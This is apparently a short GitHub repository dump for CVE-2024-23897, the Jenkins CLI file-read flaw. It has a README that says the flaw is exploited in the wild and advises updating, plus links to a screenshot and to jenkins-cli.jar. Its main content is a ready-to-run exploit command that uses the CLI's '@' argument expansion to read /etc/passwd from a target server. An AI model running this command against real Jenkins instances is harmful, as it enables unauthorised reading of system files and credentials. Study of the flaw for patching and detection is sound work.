├── CVE-2024-23897.jpg ├── README.md └── jenkins-cli.jar /CVE-2024-23897.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AiK1d/CVE-2024-23897/3bf70c0f6269836b89c6edf44d83fb16be50c2a6/CVE-2024-23897.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-23897 2 | 3 | CVE-2024-23897 jenkins-cli 4 | 5 | We have seen Jenkins File Leak / RCE (CVE-2024-23897) exploited in the wild and managed to reproduce it. 6 | 7 | If your Jenkins allows anonymous users or user registration, immediately update it to the latest version. 8 | 9 | ``` java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd ``` 10 | 11 | ![IMG](https://github.com/CKevens/CVE-2024-23897/blob/main/CVE-2024-23897.jpg) 12 | -------------------------------------------------------------------------------- /jenkins-cli.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AiK1d/CVE-2024-23897/3bf70c0f6269836b89c6edf44d83fb16be50c2a6/jenkins-cli.jar --------------------------------------------------------------------------------